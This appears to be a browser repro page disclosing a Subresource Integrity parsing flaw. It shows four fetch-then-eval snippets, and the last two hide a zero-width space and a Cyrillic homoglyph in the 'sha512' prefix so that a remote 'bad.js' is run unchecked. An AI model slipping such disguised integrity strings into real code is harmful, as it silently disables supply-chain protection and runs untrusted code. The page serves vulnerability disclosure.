SRI parsing issue repro

Each "Run" button will evaluate the code inside the box above it.

Page code:


    
Repository: https://github.com/LiviaMedeiros/SRI-vulnerability-repro

  


  

    
✅ Good

    
await fetch("https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.21/lodash.min.js", {
  integrity: "sha512-WFN04846sdKMIP5LKNphMaWzU7YpMyCU245etK3g/2ARYbPK9Ub18eG+ljU96qKRCWh+quCY7yefSmlkQw1ANQ==",
  crossorigin: "anonymous",
}).then(r => r.text()).then(eval).then(() => globalThis.log?.("Successfully evaluated first snippet"));
    

    
  


  

    
✅ Bad (but integrity saves us!)

    
await fetch("https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.21/lodash.min.js", {
  integrity: "sha512-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
  crossorigin: "anonymous",
}).then(r => r.text()).then(eval).then(() => globalThis.log?.("Successfully evaluated second snippet"));
    

    
  


  

    
❌ Bad (spot the difference!)

    
await fetch("https://liviamedeiros.github.io/SRI-vulnerability-repro/bad.js", {
  integrity: "sha​512-WFN04846sdKMIP5LKNphMaWzU7YpMyCU245etK3g/2ARYbPK9Ub18eG+ljU96qKRCWh+quCY7yefSmlkQw1ANQ==",
  crossorigin: "anonymous",
}).then(r => r.text()).then(eval).then(() => globalThis.log?.("Successfully evaluated third snippet"));
    

    
  


  

    
❌ Also bad (same same but different!)

    
await fetch("https://liviamedeiros.github.io/SRI-vulnerability-repro/bad.js", {
  integrity: "shа512-WFN04846sdKMIP5LKNphMaWzU7YpMyCU245etK3g/2ARYbPK9Ub18eG+ljU96qKRCWh+quCY7yefSmlkQw1ANQ==",
  crossorigin: "anonymous",
}).then(r => r.text()).then(eval).then(() => globalThis.log?.("Successfully evaluated fourth snippet"));
    

    
  


  
Log: